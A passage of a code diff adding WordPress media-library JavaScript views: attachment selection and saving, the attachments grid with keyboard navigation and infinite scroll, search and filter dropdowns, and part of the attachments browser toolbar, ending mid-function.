+				// Update the model's details view.
+				this.model.on( 'selection:single selection:unsingle', this.details, this );
+				this.details( this.model, this.controller.state().get('selection') );
+			}
+
+			this.listenTo( this.controller, 'attachment:compat:waiting attachment:compat:ready', this.updateSave );
+		},
+		/**
+		 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+		 */
+		dispose: function() {
+			var selection = this.options.selection;
+
+			// Make sure all settings are saved before removing the view.
+			this.updateAll();
+
+			if ( selection ) {
+				selection.off( null, null, this );
+			}
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			media.View.prototype.dispose.apply( this, arguments );
+			return this;
+		},
+		/**
+		 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+		 */
+		render: function() {
+			var options = _.defaults( this.model.toJSON(), {
+					orientation:   'landscape',
+					uploading:     false,
+					type:          '',
+					subtype:       '',
+					icon:          '',
+					filename:      '',
+					caption:       '',
+					title:         '',
+					dateFormatted: '',
+					width:         '',
+					height:        '',
+					compat:        false,
+					alt:           '',
+					description:   ''
+				}, this.options );
+
+			options.buttons  = this.buttons;
+			options.describe = this.controller.state().get('describe');
+
+			if ( 'image' === options.type ) {
+				options.size = this.imageSize();
+			}
+
+			options.can = {};
+			if ( options.nonces ) {
+				options.can.remove = !! options.nonces['delete'];
+				options.can.save = !! options.nonces.update;
+			}
+
+			if ( this.controller.state().get('allowLocalEdits') ) {
+				options.allowLocalEdits = true;
+			}
+
+			if ( options.uploading && ! options.percent ) {
+				options.percent = 0;
+			}
+
+			this.views.detach();
+			this.$el.html( this.template( options ) );
+
+			this.$el.toggleClass( 'uploading', options.uploading );
+
+			if ( options.uploading ) {
+				this.$bar = this.$('.media-progress-bar div');
+			} else {
+				delete this.$bar;
+			}
+
+			// Check if the model is selected.
+			this.updateSelect();
+
+			// Update the save status.
+			this.updateSave();
+
+			this.views.render();
+
+			return this;
+		},
+
+		progress: function() {
+			if ( this.$bar && this.$bar.length ) {
+				this.$bar.width( this.model.get('percent') + '%' );
+			}
+		},
+
+		/**
+		 * @param {Object} event
+		 */
+		toggleSelectionHandler: function( event ) {
+			var method;
+
+			// Don't do anything inside inputs.
+			if ( 'INPUT' === event.target.nodeName ) {
+				return;
+			}
+
+			// Catch arrow events
+			if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
+				this.controller.trigger( 'attachment:keydown:arrow', event );
+				return;
+			}
+
+			// Catch enter and space events
+			if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
+				return;
+			}
+
+			event.preventDefault();
+
+			// In the grid view, bubble up an edit:attachment event to the controller.
+			if ( this.controller.isModeActive( 'grid' ) ) {
+				if ( this.controller.isModeActive( 'edit' ) ) {
+					// Pass the current target to restore focus when closing
+					this.controller.trigger( 'edit:attachment', this.model, event.currentTarget );
+					return;
+				}
+
+				if ( this.controller.isModeActive( 'select' ) ) {
+					method = 'toggle';
+				}
+			}
+
+			if ( event.shiftKey ) {
+				method = 'between';
+			} else if ( event.ctrlKey || event.metaKey ) {
+				method = 'toggle';
+			}
+
+			this.toggleSelection({
+				method: method
+			});
+
+			this.controller.trigger( 'selection:toggle' );
+		},
+		/**
+		 * @param {Object} options
+		 */
+		toggleSelection: function( options ) {
+			var collection = this.collection,
+				selection = this.options.selection,
+				model = this.model,
+				method = options && options.method,
+				single, models, singleIndex, modelIndex;
+
+			if ( ! selection ) {
+				return;
+			}
+
+			single = selection.single();
+			method = _.isUndefined( method ) ? selection.multiple : method;
+
+			// If the `method` is set to `between`, select all models that
+			// exist between the current and the selected model.
+			if ( 'between' === method && single && selection.multiple ) {
+				// If the models are the same, short-circuit.
+				if ( single === model ) {
+					return;
+				}
+
+				singleIndex = collection.indexOf( single );
+				modelIndex  = collection.indexOf( this.model );
+
+				if ( singleIndex < modelIndex ) {
+					models = collection.models.slice( singleIndex, modelIndex + 1 );
+				} else {
+					models = collection.models.slice( modelIndex, singleIndex + 1 );
+				}
+
+				selection.add( models );
+				selection.single( model );
+				return;
+
+			// If the `method` is set to `toggle`, just flip the selection
+			// status, regardless of whether the model is the single model.
+			} else if ( 'toggle' === method ) {
+				selection[ this.selected() ? 'remove' : 'add' ]( model );
+				selection.single( model );
+				return;
+			} else if ( 'add' === method ) {
+				selection.add( model );
+				selection.single( model );
+				return;
+			}
+
+			// Fixes bug that loses focus when selecting a featured image
+			if ( ! method ) {
+				method = 'add';
+			}
+
+			if ( method !== 'add' ) {
+				method = 'reset';
+			}
+
+			if ( this.selected() ) {
+				// If the model is the single model, remove it.
+				// If it is not the same as the single model,
+				// it now becomes the single model.
+				selection[ single === model ? 'remove' : 'single' ]( model );
+			} else {
+				// If the model is not selected, run the `method` on the
+				// selection. By default, we `reset` the selection, but the
+				// `method` can be set to `add` the model to the selection.
+				selection[ method ]( model );
+				selection.single( model );
+			}
+		},
+
+		updateSelect: function() {
+			this[ this.selected() ? 'select' : 'deselect' ]();
+		},
+		/**
+		 * @returns {unresolved|Boolean}
+		 */
+		selected: function() {
+			var selection = this.options.selection;
+			if ( selection ) {
+				return !! selection.get( this.model.cid );
+			}
+		},
+		/**
+		 * @param {Backbone.Model} model
+		 * @param {Backbone.Collection} collection
+		 */
+		select: function( model, collection ) {
+			var selection = this.options.selection,
+				controller = this.controller;
+
+			// Check if a selection exists and if it's the collection provided.
+			// If they're not the same collection, bail; we're in another
+			// selection's event loop.
+			if ( ! selection || ( collection && collection !== selection ) ) {
+				return;
+			}
+
+			// Bail if the model is already selected.
+			if ( this.$el.hasClass( 'selected' ) ) {
+				return;
+			}
+
+			// Add 'selected' class to model, set aria-checked to true.
+			this.$el.addClass( 'selected' ).attr( 'aria-checked', true );
+			//  Make the checkbox tabable, except in media grid (bulk select mode).
+			if ( ! ( controller.isModeActive( 'grid' ) && controller.isModeActive( 'select' ) ) ) {
+				this.$( '.check' ).attr( 'tabindex', '0' );
+			}
+		},
+		/**
+		 * @param {Backbone.Model} model
+		 * @param {Backbone.Collection} collection
+		 */
+		deselect: function( model, collection ) {
+			var selection = this.options.selection;
+
+			// Check if a selection exists and if it's the collection provided.
+			// If they're not the same collection, bail; we're in another
+			// selection's event loop.
+			if ( ! selection || ( collection && collection !== selection ) ) {
+				return;
+			}
+			this.$el.removeClass( 'selected' ).attr( 'aria-checked', false )
+				.find( '.check' ).attr( 'tabindex', '-1' );
+		},
+		/**
+		 * @param {Backbone.Model} model
+		 * @param {Backbone.Collection} collection
+		 */
+		details: function( model, collection ) {
+			var selection = this.options.selection,
+				details;
+
+			if ( selection !== collection ) {
+				return;
+			}
+
+			details = selection.single();
+			this.$el.toggleClass( 'details', details === this.model );
+		},
+		/**
+		 * @param {Object} event
+		 */
+		preventDefault: function( event ) {
+			event.preventDefault();
+		},
+		/**
+		 * @param {string} size
+		 * @returns {Object}
+		 */
+		imageSize: function( size ) {
+			var sizes = this.model.get('sizes');
+
+			size = size || 'medium';
+
+			// Use the provided image size if possible.
+			if ( sizes && sizes[ size ] ) {
+				return _.clone( sizes[ size ] );
+			} else {
+				return {
+					url:         this.model.get('url'),
+					width:       this.model.get('width'),
+					height:      this.model.get('height'),
+					orientation: this.model.get('orientation')
+				};
+			}
+		},
+		/**
+		 * @param {Object} event
+		 */
+		updateSetting: function( event ) {
+			var $setting = $( event.target ).closest('[data-setting]'),
+				setting, value;
+
+			if ( ! $setting.length ) {
+				return;
+			}
+
+			setting = $setting.data('setting');
+			value   = event.target.value;
+
+			if ( this.model.get( setting ) !== value ) {
+				this.save( setting, value );
+			}
+		},
+
+		/**
+		 * Pass all the arguments to the model's save method.
+		 *
+		 * Records the aggregate status of all save requests and updates the
+		 * view's classes accordingly.
+		 */
+		save: function() {
+			var view = this,
+				save = this._save = this._save || { status: 'ready' },
+				request = this.model.save.apply( this.model, arguments ),
+				requests = save.requests ? $.when( request, save.requests ) : request;
+
+			// If we're waiting to remove 'Saved.', stop.
+			if ( save.savedTimer ) {
+				clearTimeout( save.savedTimer );
+			}
+
+			this.updateSave('waiting');
+			save.requests = requests;
+			requests.always( function() {
+				// If we've performed another request since this one, bail.
+				if ( save.requests !== requests ) {
+					return;
+				}
+
+				view.updateSave( requests.state() === 'resolved' ? 'complete' : 'error' );
+				save.savedTimer = setTimeout( function() {
+					view.updateSave('ready');
+					delete save.savedTimer;
+				}, 2000 );
+			});
+		},
+		/**
+		 * @param {string} status
+		 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+		 */
+		updateSave: function( status ) {
+			var save = this._save = this._save || { status: 'ready' };
+
+			if ( status && status !== save.status ) {
+				this.$el.removeClass( 'save-' + save.status );
+				save.status = status;
+			}
+
+			this.$el.addClass( 'save-' + save.status );
+			return this;
+		},
+
+		updateAll: function() {
+			var $settings = this.$('[data-setting]'),
+				model = this.model,
+				changed;
+
+			changed = _.chain( $settings ).map( function( el ) {
+				var $input = $('input, textarea, select, [value]', el ),
+					setting, value;
+
+				if ( ! $input.length ) {
+					return;
+				}
+
+				setting = $(el).data('setting');
+				value = $input.val();
+
+				// Record the value if it changed.
+				if ( model.get( setting ) !== value ) {
+					return [ setting, value ];
+				}
+			}).compact().object().value();
+
+			if ( ! _.isEmpty( changed ) ) {
+				model.save( changed );
+			}
+		},
+		/**
+		 * @param {Object} event
+		 */
+		removeFromLibrary: function( event ) {
+			// Catch enter and space events
+			if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
+				return;
+			}
+
+			// Stop propagation so the model isn't selected.
+			event.stopPropagation();
+
+			this.collection.remove( this.model );
+		},
+
+		/**
+		 * Add the model if it isn't in the selection, if it is in the selection,
+		 * remove it.
+		 *
+		 * @param  {[type]} event [description]
+		 * @return {[type]}       [description]
+		 */
+		checkClickHandler: function ( event ) {
+			var selection = this.options.selection;
+			if ( ! selection ) {
+				return;
+			}
+			event.stopPropagation();
+			if ( selection.where( { id: this.model.get( 'id' ) } ).length ) {
+				selection.remove( this.model );
+				// Move focus back to the attachment tile (from the check).
+				this.$el.focus();
+			} else {
+				selection.add( this.model );
+			}
+		}
+	});
+
+	// Ensure settings remain in sync between attachment views.
+	_.each({
+		caption: '_syncCaption',
+		title:   '_syncTitle',
+		artist:  '_syncArtist',
+		album:   '_syncAlbum'
+	}, function( method, setting ) {
+		/**
+		 * @param {Backbone.Model} model
+		 * @param {string} value
+		 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+		 */
+		media.view.Attachment.prototype[ method ] = function( model, value ) {
+			var $setting = this.$('[data-setting="' + setting + '"]');
+
+			if ( ! $setting.length ) {
+				return this;
+			}
+
+			// If the updated value is in sync with the value in the DOM, there
+			// is no need to re-render. If we're currently editing the value,
+			// it will automatically be in sync, suppressing the re-render for
+			// the view we're editing, while updating any others.
+			if ( value === $setting.find('input, textarea, select, [value]').val() ) {
+				return this;
+			}
+
+			return this.render();
+		};
+	});
+
+	/**
+	 * wp.media.view.Attachment.Library
+	 *
+	 * @class
+	 * @augments wp.media.view.Attachment
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachment.Library = media.view.Attachment.extend({
+		buttons: {
+			check: true
+		}
+	});
+
+	/**
+	 * wp.media.view.Attachment.EditLibrary
+	 *
+	 * @class
+	 * @augments wp.media.view.Attachment
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachment.EditLibrary = media.view.Attachment.extend({
+		buttons: {
+			close: true
+		}
+	});
+
+	/**
+	 * wp.media.view.Attachments
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachments = media.View.extend({
+		tagName:   'ul',
+		className: 'attachments',
+
+		attributes: {
+			tabIndex: -1
+		},
+
+		initialize: function() {
+			this.el.id = _.uniqueId('__attachments-view-');
+
+			_.defaults( this.options, {
+				refreshSensitivity: isTouchDevice ? 300 : 200,
+				refreshThreshold:   3,
+				AttachmentView:     media.view.Attachment,
+				sortable:           false,
+				resize:             true,
+				idealColumnWidth:   $( window ).width() < 640 ? 135 : 150
+			});
+
+			this._viewsByCid = {};
+			this.$window = $( window );
+			this.resizeEvent = 'resize.media-modal-columns';
+
+			this.collection.on( 'add', function( attachment ) {
+				this.views.add( this.createAttachmentView( attachment ), {
+					at: this.collection.indexOf( attachment )
+				});
+			}, this );
+
+			this.collection.on( 'remove', function( attachment ) {
+				var view = this._viewsByCid[ attachment.cid ];
+				delete this._viewsByCid[ attachment.cid ];
+
+				if ( view ) {
+					view.remove();
+				}
+			}, this );
+
+			this.collection.on( 'reset', this.render, this );
+
+			this.listenTo( this.controller, 'library:selection:add',    this.attachmentFocus );
+
+			// Throttle the scroll handler and bind this.
+			this.scroll = _.chain( this.scroll ).bind( this ).throttle( this.options.refreshSensitivity ).value();
+
+			this.options.scrollElement = this.options.scrollElement || this.el;
+			$( this.options.scrollElement ).on( 'scroll', this.scroll );
+
+			this.initSortable();
+
+			_.bindAll( this, 'setColumns' );
+
+			if ( this.options.resize ) {
+				this.on( 'ready', this.bindEvents );
+				this.controller.on( 'open', this.setColumns );
+
+				// Call this.setColumns() after this view has been rendered in the DOM so
+				// attachments get proper width applied.
+				_.defer( this.setColumns, this );
+			}
+		},
+
+		bindEvents: function() {
+			this.$window.off( this.resizeEvent ).on( this.resizeEvent, _.debounce( this.setColumns, 50 ) );
+		},
+
+		attachmentFocus: function() {
+			this.$( 'li:first' ).focus();
+		},
+
+		restoreFocus: function() {
+			this.$( 'li.selected:first' ).focus();
+		},
+
+		arrowEvent: function( event ) {
+			var attachments = this.$el.children( 'li' ),
+				perRow = this.columns,
+				index = attachments.filter( ':focus' ).index(),
+				row = ( index + 1 ) <= perRow ? 1 : Math.ceil( ( index + 1 ) / perRow );
+
+			if ( index === -1 ) {
+				return;
+			}
+
+			// Left arrow
+			if ( 37 === event.keyCode ) {
+				if ( 0 === index ) {
+					return;
+				}
+				attachments.eq( index - 1 ).focus();
+			}
+
+			// Up arrow
+			if ( 38 === event.keyCode ) {
+				if ( 1 === row ) {
+					return;
+				}
+				attachments.eq( index - perRow ).focus();
+			}
+
+			// Right arrow
+			if ( 39 === event.keyCode ) {
+				if ( attachments.length === index ) {
+					return;
+				}
+				attachments.eq( index + 1 ).focus();
+			}
+
+			// Down arrow
+			if ( 40 === event.keyCode ) {
+				if ( Math.ceil( attachments.length / perRow ) === row ) {
+					return;
+				}
+				attachments.eq( index + perRow ).focus();
+			}
+		},
+
+		dispose: function() {
+			this.collection.props.off( null, null, this );
+			if ( this.options.resize ) {
+				this.$window.off( this.resizeEvent );
+			}
+
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			media.View.prototype.dispose.apply( this, arguments );
+		},
+
+		setColumns: function() {
+			var prev = this.columns,
+				width = this.$el.width();
+
+			if ( width ) {
+				this.columns = Math.min( Math.round( width / this.options.idealColumnWidth ), 12 ) || 1;
+
+				if ( ! prev || prev !== this.columns ) {
+					this.$el.closest( '.media-frame-content' ).attr( 'data-columns', this.columns );
+				}
+			}
+		},
+
+		initSortable: function() {
+			var collection = this.collection;
+
+			if ( isTouchDevice || ! this.options.sortable || ! $.fn.sortable ) {
+				return;
+			}
+
+			this.$el.sortable( _.extend({
+				// If the `collection` has a `comparator`, disable sorting.
+				disabled: !! collection.comparator,
+
+				// Change the position of the attachment as soon as the
+				// mouse pointer overlaps a thumbnail.
+				tolerance: 'pointer',
+
+				// Record the initial `index` of the dragged model.
+				start: function( event, ui ) {
+					ui.item.data('sortableIndexStart', ui.item.index());
+				},
+
+				// Update the model's index in the collection.
+				// Do so silently, as the view is already accurate.
+				update: function( event, ui ) {
+					var model = collection.at( ui.item.data('sortableIndexStart') ),
+						comparator = collection.comparator;
+
+					// Temporarily disable the comparator to prevent `add`
+					// from re-sorting.
+					delete collection.comparator;
+
+					// Silently shift the model to its new index.
+					collection.remove( model, {
+						silent: true
+					});
+					collection.add( model, {
+						silent: true,
+						at:     ui.item.index()
+					});
+
+					// Restore the comparator.
+					collection.comparator = comparator;
+
+					// Fire the `reset` event to ensure other collections sync.
+					collection.trigger( 'reset', collection );
+
+					// If the collection is sorted by menu order,
+					// update the menu order.
+					collection.saveMenuOrder();
+				}
+			}, this.options.sortable ) );
+
+			// If the `orderby` property is changed on the `collection`,
+			// check to see if we have a `comparator`. If so, disable sorting.
+			collection.props.on( 'change:orderby', function() {
+				this.$el.sortable( 'option', 'disabled', !! collection.comparator );
+			}, this );
+
+			this.collection.props.on( 'change:orderby', this.refreshSortable, this );
+			this.refreshSortable();
+		},
+
+		refreshSortable: function() {
+			if ( isTouchDevice || ! this.options.sortable || ! $.fn.sortable ) {
+				return;
+			}
+
+			// If the `collection` has a `comparator`, disable sorting.
+			var collection = this.collection,
+				orderby = collection.props.get('orderby'),
+				enabled = 'menuOrder' === orderby || ! collection.comparator;
+
+			this.$el.sortable( 'option', 'disabled', ! enabled );
+		},
+
+		/**
+		 * @param {wp.media.model.Attachment} attachment
+		 * @returns {wp.media.View}
+		 */
+		createAttachmentView: function( attachment ) {
+			var view = new this.options.AttachmentView({
+				controller:           this.controller,
+				model:                attachment,
+				collection:           this.collection,
+				selection:            this.options.selection
+			});
+
+			return this._viewsByCid[ attachment.cid ] = view;
+		},
+
+		prepare: function() {
+			// Create all of the Attachment views, and replace
+			// the list in a single DOM operation.
+			if ( this.collection.length ) {
+				this.views.set( this.collection.map( this.createAttachmentView, this ) );
+
+			// If there are no elements, clear the views and load some.
+			} else {
+				this.views.unset();
+				this.collection.more().done( this.scroll );
+			}
+		},
+
+		ready: function() {
+			// Trigger the scroll event to check if we're within the
+			// threshold to query for additional attachments.
+			this.scroll();
+		},
+
+		scroll: function() {
+			var view = this,
+				el = this.options.scrollElement,
+				scrollTop = el.scrollTop,
+				toolbar;
+
+			// The scroll event occurs on the document, but the element
+			// that should be checked is the document body.
+			if ( el == document ) {
+				el = document.body;
+				scrollTop = $(document).scrollTop();
+			}
+
+			if ( ! $(el).is(':visible') || ! this.collection.hasMore() ) {
+				return;
+			}
+
+			toolbar = this.views.parent.toolbar;
+
+			// Show the spinner only if we are close to the bottom.
+			if ( el.scrollHeight - ( scrollTop + el.clientHeight ) < el.clientHeight / 3 ) {
+				toolbar.get('spinner').show();
+			}
+
+			if ( el.scrollHeight < scrollTop + ( el.clientHeight * this.options.refreshThreshold ) ) {
+				this.collection.more().done(function() {
+					view.scroll();
+					toolbar.get('spinner').hide();
+				});
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.Search
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Search = media.View.extend({
+		tagName:   'input',
+		className: 'search',
+		id:        'media-search-input',
+
+		attributes: {
+			type:        'search',
+			placeholder: l10n.search
+		},
+
+		events: {
+			'input':  'search',
+			'keyup':  'search',
+			'change': 'search',
+			'search': 'search'
+		},
+
+		/**
+		 * @returns {wp.media.view.Search} Returns itself to allow chaining
+		 */
+		render: function() {
+			this.el.value = this.model.escape('search');
+			return this;
+		},
+
+		search: function( event ) {
+			if ( event.target.value ) {
+				this.model.set( 'search', event.target.value );
+			} else {
+				this.model.unset('search');
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.AttachmentFilters
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.AttachmentFilters = media.View.extend({
+		tagName:   'select',
+		className: 'attachment-filters',
+		id:        'media-attachment-filters',
+
+		events: {
+			change: 'change'
+		},
+
+		keys: [],
+
+		initialize: function() {
+			this.createFilters();
+			_.extend( this.filters, this.options.filters );
+
+			// Build `<option>` elements.
+			this.$el.html( _.chain( this.filters ).map( function( filter, value ) {
+				return {
+					el: $( '<option></option>' ).val( value ).html( filter.text )[0],
+					priority: filter.priority || 50
+				};
+			}, this ).sortBy('priority').pluck('el').value() );
+
+			this.model.on( 'change', this.select, this );
+			this.select();
+		},
+
+		/**
+		 * @abstract
+		 */
+		createFilters: function() {
+			this.filters = {};
+		},
+
+		/**
+		 * When the selected filter changes, update the Attachment Query properties to match.
+		 */
+		change: function() {
+			var filter = this.filters[ this.el.value ];
+			if ( filter ) {
+				this.model.set( filter.props );
+			}
+		},
+
+		select: function() {
+			var model = this.model,
+				value = 'all',
+				props = model.toJSON();
+
+			_.find( this.filters, function( filter, id ) {
+				var equal = _.all( filter.props, function( prop, key ) {
+					return prop === ( _.isUndefined( props[ key ] ) ? null : props[ key ] );
+				});
+
+				if ( equal ) {
+					return value = id;
+				}
+			});
+
+			this.$el.val( value );
+		}
+	});
+
+	/**
+	 * A filter dropdown for month/dates.
+	 *
+	 * @class
+	 * @augments wp.media.view.AttachmentFilters
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.DateFilter = media.view.AttachmentFilters.extend({
+		id: 'media-attachment-date-filters',
+
+		createFilters: function() {
+			var filters = {};
+			_.each( media.view.settings.months || {}, function( value, index ) {
+				filters[ index ] = {
+					text: value.text,
+					props: {
+						year: value.year,
+						monthnum: value.month
+					}
+				};
+			});
+			filters.all = {
+				text:  l10n.allDates,
+				props: {
+					monthnum: false,
+					year:  false
+				},
+				priority: 10
+			};
+			this.filters = filters;
+		}
+	});
+
+	/**
+	 * wp.media.view.AttachmentFilters.Uploaded
+	 *
+	 * @class
+	 * @augments wp.media.view.AttachmentFilters
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.AttachmentFilters.Uploaded = media.view.AttachmentFilters.extend({
+		createFilters: function() {
+			var type = this.model.get('type'),
+				types = media.view.settings.mimeTypes,
+				text;
+
+			if ( types && type ) {
+				text = types[ type ];
+			}
+
+			this.filters = {
+				all: {
+					text:  text || l10n.allMediaItems,
+					props: {
+						uploadedTo: null,
+						orderby: 'date',
+						order:   'DESC'
+					},
+					priority: 10
+				},
+
+				uploaded: {
+					text:  l10n.uploadedToThisPost,
+					props: {
+						uploadedTo: media.view.settings.post.id,
+						orderby: 'menuOrder',
+						order:   'ASC'
+					},
+					priority: 20
+				},
+
+				unattached: {
+					text:  l10n.unattached,
+					props: {
+						uploadedTo: 0,
+						orderby: 'menuOrder',
+						order:   'ASC'
+					},
+					priority: 50
+				}
+			};
+		}
+	});
+
+	/**
+	 * wp.media.view.AttachmentFilters.All
+	 *
+	 * @class
+	 * @augments wp.media.view.AttachmentFilters
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.AttachmentFilters.All = media.view.AttachmentFilters.extend({
+		createFilters: function() {
+			var filters = {};
+
+			_.each( media.view.settings.mimeTypes || {}, function( text, key ) {
+				filters[ key ] = {
+					text: text,
+					props: {
+						status:  null,
+						type:    key,
+						uploadedTo: null,
+						orderby: 'date',
+						order:   'DESC'
+					}
+				};
+			});
+
+			filters.all = {
+				text:  l10n.allMediaItems,
+				props: {
+					status:  null,
+					type:    null,
+					uploadedTo: null,
+					orderby: 'date',
+					order:   'DESC'
+				},
+				priority: 10
+			};
+
+			if ( media.view.settings.post.id ) {
+				filters.uploaded = {
+					text:  l10n.uploadedToThisPost,
+					props: {
+						status:  null,
+						type:    null,
+						uploadedTo: media.view.settings.post.id,
+						orderby: 'menuOrder',
+						order:   'ASC'
+					},
+					priority: 20
+				};
+			}
+
+			filters.unattached = {
+				text:  l10n.unattached,
+				props: {
+					status:     null,
+					uploadedTo: 0,
+					type:       null,
+					orderby:    'menuOrder',
+					order:      'ASC'
+				},
+				priority: 50
+			};
+
+			if ( media.view.settings.mediaTrash &&
+				this.controller.isModeActive( 'grid' ) ) {
+
+				filters.trash = {
+					text:  l10n.trash,
+					props: {
+						uploadedTo: null,
+						status:     'trash',
+						type:       null,
+						orderby:    'date',
+						order:      'DESC'
+					},
+					priority: 50
+				};
+			}
+
+			this.filters = filters;
+		}
+	});
+
+	/**
+	 * wp.media.view.AttachmentsBrowser
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 *
+	 * @param {object}      options
+	 * @param {object}      [options.filters=false] Which filters to show in the browser's toolbar.
+	 *                                              Accepts 'uploaded' and 'all'.
+	 * @param {object}      [options.search=true]   Whether to show the search interface in the
+	 *                                              browser's toolbar.
+	 * @param {object}      [options.date=true]     Whether to show the date filter in the
+	 *                                              browser's toolbar.
+	 * @param {object}      [options.display=false] Whether to show the attachments display settings
+	 *                                              view in the sidebar.
+	 * @param {bool|string} [options.sidebar=true]  Whether to create a sidebar for the browser.
+	 *                                              Accepts true, false, and 'errors'.
+	 */
+	media.view.AttachmentsBrowser = media.View.extend({
+		tagName:   'div',
+		className: 'attachments-browser',
+
+		initialize: function() {
+			_.defaults( this.options, {
+				filters: false,
+				search:  true,
+				date:    true,
+				display: false,
+				sidebar: true,
+				AttachmentView: media.view.Attachment.Library
+			});
+
+			this.listenTo( this.controller, 'toggle:upload:attachment', _.bind( this.toggleUploader, this ) );
+			this.controller.on( 'edit:selection', this.editSelection );
+			this.createToolbar();
+			if ( this.options.sidebar ) {
+				this.createSidebar();
+			}
+			this.createUploader();
+			this.createAttachments();
+			this.updateContent();
+
+			if ( ! this.options.sidebar || 'errors' === this.options.sidebar ) {
+				this.$el.addClass( 'hide-sidebar' );
+
+				if ( 'errors' === this.options.sidebar ) {
+					this.$el.addClass( 'sidebar-for-errors' );
+				}
+			}
+
+			this.collection.on( 'add remove reset', this.updateContent, this );
+		},
+
+		editSelection: function( modal ) {
+			modal.$( '.media-button-backToLibrary' ).focus();
+		},
+
+		/**
+		 * @returns {wp.media.view.AttachmentsBrowser} Returns itself to allow chaining
+		 */
+		dispose: function() {
+			this.options.selection.off( null, null, this );
+			media.View.prototype.dispose.apply( this, arguments );
+			return this;
+		},
+
+		createToolbar: function() {
+			var LibraryViewSwitcher, Filters, toolbarOptions;
+
+			toolbarOptions = {
+				controller: this.controller
+			};
+
+			if ( this.controller.isModeActive( 'grid' ) ) {
+				toolbarOptions.className = 'media-toolbar wp-filter';
+			}
+
+			/**
+			* @member {wp.media.view.Toolbar}
+			*/
+			this.toolbar = new media.view.Toolbar( toolbarOptions );
+
+			this.views.add( this.toolbar );
+
+			this.toolbar.set( 'spinner', new media.view.Spinner({
+				priority: -60
+			}) );
+
+			if ( -1 !== $.inArray( this.options.filters, [ 'uploaded', 'all' ] ) ) {
+				// "Filters" will return a <select>, need to render
+				// screen reader text before
+				this.toolbar.set( 'filtersLabel', new media.view.Label({
+					value: l10n.filterByType,
+					attributes: {
+						'for':  'media-attachment-filters'
+					},
+					priority:   -80
+				}).render() );
+
+				if ( 'uploaded' === this.options.filters ) {
+					this.toolbar.set( 'filters', new media.view.AttachmentFilters.Uploaded({
+						controller: this.controller,
+						model:      this.collection.props,
+						priority:   -80
+					}).render() );
+				} else {
+					Filters = new media.view.AttachmentFilters.All({
+						controller: this.controller,
+						model:      this.collection.props,
+						priority:   -80
+					});
+
+					this.toolbar.set( 'filters', Filters.render() );
+				}
+			}
+
+			// Feels odd to bring the global media library switcher into the Attachment
+			// browser view. Is this a use case for doAction( 'add:toolbar-items:attachments-browser', this.toolbar );
+			// which the controller can tap into and add this view?
+			if ( this.controller.isModeActive( 'grid' ) ) {
+				LibraryViewSwitcher = media.View.extend({
+					className: 'view-switch media-grid-view-switch',
+					template: media.template( 'media-library-view-switcher')
+				});
+
+				this.toolbar.set( 'libraryViewSwitcher', new LibraryViewSwitcher({
+					controller: this.controller,
+					priority: -90
+				}).render() );
+
+				// DateFilter is a <select>, screen reader text needs to be rendered before
+				this.toolbar.set( 'dateFilterLabel', new media.view.Label({
+					value: l10n.filterByDate,
+					attributes: {
+						'for': 'media-attachment-date-filters'
+					},
+					priority: -75
+				}).render() );
+				this.toolbar.set( 'dateFilter', new media.view.DateFilter({
+					controller: this.controller,
+					model:      this.collection.props,
+					priority: -75
+				}).render() );
+
+				// BulkSelection is a <div> with subviews, including screen reader text
+				this.toolbar.set( 'selectModeToggleButton', new media.view.SelectModeToggleButton({
+					text: l10n.bulkSelect,
+					controller: this.controller,
+					priority: -70
+				}).render() );
+
+				this.toolbar.set( 'deleteSelectedButton', new media.view.DeleteSelectedButton({
+					filters: Filters,
+					style: 'primary',
+					disabled: true,
+					text: media.view.settings.mediaTrash ? l10n.trashSelected : l10n.deleteSelected,
+					controller: this.controller,
+					priority: -60,
+					click: function() {
+						var changed = [], removed = [], self = this,
+							selection = this.controller.state().get( 'selection' ),
+							library = this.controller.state().get( 'library' );
+
+						if ( ! selection.length ) {
+							return;
+						}
+
+						if ( ! media.view.settings.mediaTrash && ! confirm( l10n.warnBulkDelete ) ) {
+							return;
+						}
+
+						if ( media.view.settings.mediaTrash &&
+							'trash' !== selection.at( 0 ).get( 'status' ) &&
+							! confirm( l10n.warnBulkTrash ) ) {
+
+							return;
+						}
+
+						selection.each( function( model ) {
+							if ( ! model.get( 'nonces' )['delete'] ) {
+								removed.push( model );
+								return;
+							}
+
+							if ( media.view.settings.mediaTrash && 'trash' === model.get( 'status' ) ) {
+								model.set( 'status', 'inherit' );
+								changed.push( model.save() );
+								removed.push( model );
+							} else if ( media.view.settings.mediaTrash ) {
+								model.set( 'status', 'trash' );
+								changed.push( model.save() );
+								removed.push( model );
+							} else {
+								model.destroy({wait: true});
+							}
+						} );
+
+						if ( changed.length ) {
+							selection.remove( removed );
+
+							$.when.apply( null, changed ).then( function() {
+								library._requery( true );
+								self.controller.trigger( 'selection:action:done' );
+							} );
+						} else {
+							this.controller.trigger( 'selection:action:done' );
+						}
+					}
+				}).render() );
+
+				if ( media.view.settings.mediaTrash ) {
